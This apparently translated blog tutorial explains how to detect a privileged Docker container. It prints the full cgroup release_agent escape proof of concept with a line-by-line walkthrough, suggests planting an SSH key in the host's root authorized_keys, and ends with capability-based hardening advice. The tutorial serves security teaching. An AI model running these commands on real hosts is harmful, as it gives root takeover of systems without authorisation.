Docker privileged containers are containers that run with a flag
--privileged
. Unlike regular containers, these containers have root access to the host machine.
Privileged containers are often used when tasks require direct access to hardware to perform tasks. However, privileged Docker containers can allow attackers to take over the host system. Today we will see how you can exit a privileged container.
Search for vulnerable containers
How can we determine that we are in a privileged container?
How do you know that you are in a container?
Cgroups
stands for control groups. This Linux feature isolates resource usage, and is what Docker uses to isolate containers. You can tell if you are in a container by checking the cgroup of the init process in /proc/1/cgroup
. If you are not inside the container, then the control group will be /. Again, if you are in a container, you will see instead /docker/CONTAINER_ID
.
How do you know if a container is privileged?
Once you have determined that you are in a container, you need to understand if it is privileged. The best way to do this is to run the command that needs the flag
--privileged
and see if it works.
For example, you can try adding an
dummy
interface using the command iproute2
. This command requires access to NET_ADMIN
which the container has, if privileged.
$ ip link add dummy0 type dummy
If the command succeeds, then we can conclude that the container has functionality
NET_ADMIN
. And NET_ADMIN
in turn, it is part of a privileged set of functions, and containers that do not have it are not privileged. You can remove the link dummy0
after this test with the command:
ip link delete dummy0
Escape from the container
So how do you go outside the privileged container? The following script will help you here. This example and proof-of-concept was taken from the Trail of Bits blog . To dive deeper into the concept, read the original article:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
This proof of concept uses a function
release_agent
from cgroup
.
After the last process is finished in
cgroup
, a command is executed that removes the terminated work cgroups
. This command is specified in a file release_agent
and is executed on behalf of root
the host computer. By default, the feature is disabled and the path release_agent
is empty.
This exploit runs code through a file
release_agent
. We need to create cgroup
, specify its file release_agent
and start release_agent
, killing all processes in cgroup
. The first line in hypothesis testing creates a new group:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
The following includes the function
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Further in the next few lines the path to the file is registered
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Then you can start writing to the command file. This script will execute the command
ps aux
and save it to a file /output
. You also need to set the access bits for the script:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Finally, initiate the attack by spawning a process that will terminate immediately in the cgroup we created. Our script
release_agent
will be executed after the completion of the process. Now you can read the output ps aux
on the host machine in a file /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
You can use this concept to execute whatever commands you want on the host system. For example, you can use it to write your SSH key to the
authorized_keys
root user file :
cat id_dsa.pub >> /root/.ssh/authorized_keys
Preventing an attack
How can this attack be prevented? Instead of granting containers full access to the host system, you should only grant the permissions they need.
Docker's capabilities allow developers to selectively grant permissions to a container. It becomes possible to split permissions, usually packaged in root
access
, into separate components.
By default, Docker takes all permissions from the container and requires them to be added. You can remove or add permissions using the
cap-drop
and flags cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
For example, instead of giving the container
root access
, you leave it NET_BIND_SERVICE
if it needs to connect to a port below 1024. This flag will give the container the necessary permissions:
--cap-add NET_BIND_SERVICE
Conclusion
Avoid running Docker containers with a flag whenever possible
--privileged
. Privileged containers can give attackers the ability to exit the container and gain access to the host system. Instead, give containers permission individually using a flag --cap-add
.
Read more
- Linux kernel features
- Using Docker safely
- Security best practices for working with privileged containers
- Red Team Tactics: Advanced Monitoring Techniques in Offensive Operations
- Pentest. Penetration testing practice or "ethical hacking". New course from OTUS
Learn more about the course.